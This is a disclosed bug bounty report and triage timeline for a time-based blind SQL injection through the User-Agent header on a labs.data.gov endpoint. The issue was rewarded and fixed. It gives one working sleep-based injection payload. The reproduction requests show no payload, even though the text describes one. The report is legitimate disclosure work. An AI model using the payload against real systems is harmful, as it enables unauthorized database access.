638

SQL injection in https://labs.data.gov/dashboard/datagov/csv_to_json via User-agent

Share:

State	○ Resolved (Closed)
Disclosed	**March 22, 2019 9:32pm +0530**
Reported To	**TTS Bug Bounty**
Weakness	SQL Injection
Bounty	$2,000
Severity	Critical (9.1)
Participants	
Visibility	Disclosed (Full)

Collapse

TIMELINE · EXPORT

harisec submitted a report to **TTS Bug Bounty**. Dec 13th (2 years ago)

I've identified an SQL injection vulnerability in the website **labs.data.gov** that affects the endpoint `/dashboard/datagov/csv_to_json` and can be exploited via the **User-Agent** HTTP header.

I didn't extracted any data from the database, I've confirmed the vulnerability using **sleep** SQL queries with various arithmetic operations. The **sleep** command combined with the arithmetic operations will cause the server to sleep for various amounts of time depending on the result of the arithmetic operation.

For example, setting the value `Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87'XOR(if(now()=sysdate(),sleep(5*5),0))OR'` to the `User-Agent` header will cause the server to sleep for **25 (5*5)** seconds.

To reproduce, send the following HTTPS request:

```
GET /dashboard/datagov/csv_to_json HTTP/1.1
Referer: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87
X-Forwarded-For: 1
X-Requested-With: XMLHttpRequest
Host: labs.data.gov
Connection: Keep-alive
Accept-Encoding: gzip,deflate
Accept: */*
```

The server will respond after **25 (5*5)** seconds - same as the value of the `User-Agent:` header.

Now, let's cause the server to respond immediately. We will send the value **sleep(5*5*0)** that is equivalent with **0**.

```
GET /dashboard/datagov/csv_to_json HTTP/1.1
Referer: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87
X-Forwarded-For: 1
X-Requested-With: XMLHttpRequest
Host: labs.data.gov
Connection: Keep-alive
Accept-Encoding: gzip,deflate
Accept: */*
```

The server responded immediately as **5*5*0 = 0**.

Let's confirm it with another request:

```
GET /dashboard/datagov/csv_to_json HTTP/1.1
Referer: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87
X-Forwarded-For: 1
X-Requested-With: XMLHttpRequest
Host: labs.data.gov
Connection: Keep-alive
Accept-Encoding: gzip,deflate
Accept: */*
```

This time the payload contains **6*6-30** that is equal with **6**. The server responded after **6** seconds.

These are just a few of the SQL queries with various arithmetic operations that I've tried to confirm this issue.

Impact

An attacker can manipulate the SQL statements that are sent to the MySQL database and inject malicious SQL statements. The attacker is able to change the logic of SQL statements executed against the database.

2 attachments:
F246419: sqli-labs-data-gov-ua-25sec.png
F246420: sqli-labs-data-gov-ua-9sec.png

coffeecup HackerOne triage changed the status to ○ **Triaged**. Dec 13th (2 years ago)

Hey @harisec -

Thank you for your submission. We have validated this issue and forwarded the report to the responsible team for this application. They will evaluate and let us know whether or not they will be implementing a fix.

Thanks!

coffeecup HackerOne triage updated the severity from High to High (8.2). Dec 13th (2 years ago)

jjediny posted a comment. Dec 13th (2 years ago)

Thank you this looks legitimate and validated (on this end too). We are working on a fix, thank you for your report

coffeecup HackerOne triage posted a comment. Dec 13th (2 years ago)

Great find @harisec - We really appreciate your work and look forward to more reports from you in the future.

jjediny updated the severity from High (8.2) to Critical (9.4). Dec 13th (2 years ago)

coffeecup HackerOne triage updated the severity from Critical (9.4) to Critical (9.1). Dec 13th (2 years ago)

TTS Bug Bounty rewarded harisec with a **$2,000** bounty. Dec 14th (2 years ago)

Congratulations! We are happy to award a $2,000 bounty for this issue. We appreciate your work and look forward to more reports from you in the future! Please stay tuned as we work towards a fix.

harisec posted a comment. Dec 14th (2 years ago)

Thank you very much for the bounty!

coffeecup HackerOne triage posted a comment. Mar 6th (about 1 year ago)

Hi @harisec - We believe this to be resolved now, could you confirm on your end that you're unable to reproduce this issue now?

harisec posted a comment. Mar 6th (about 1 year ago)

@coffeecup I'm unable to reproduce this issue anymore.

coffeecup HackerOne triage closed the report and changed the status to ○ **Resolved**. Mar 22nd (about 1 year ago)

Hi @harisec,

Thanks for submitting this report. We have determined that this report is now resolved. If you’re still able to reproduce this issue, please let us know and we will investigate further.

Thanks!

coffeecup HackerOne triage requested to disclose this report. Mar 22nd (about 1 year ago)

We would love to highlight this report! It was a great find!

harisec agreed to disclose this report. Mar 22nd (about 1 year ago)

Sure, thank you very much!

This report has been disclosed. Mar 22nd (about 1 year ago)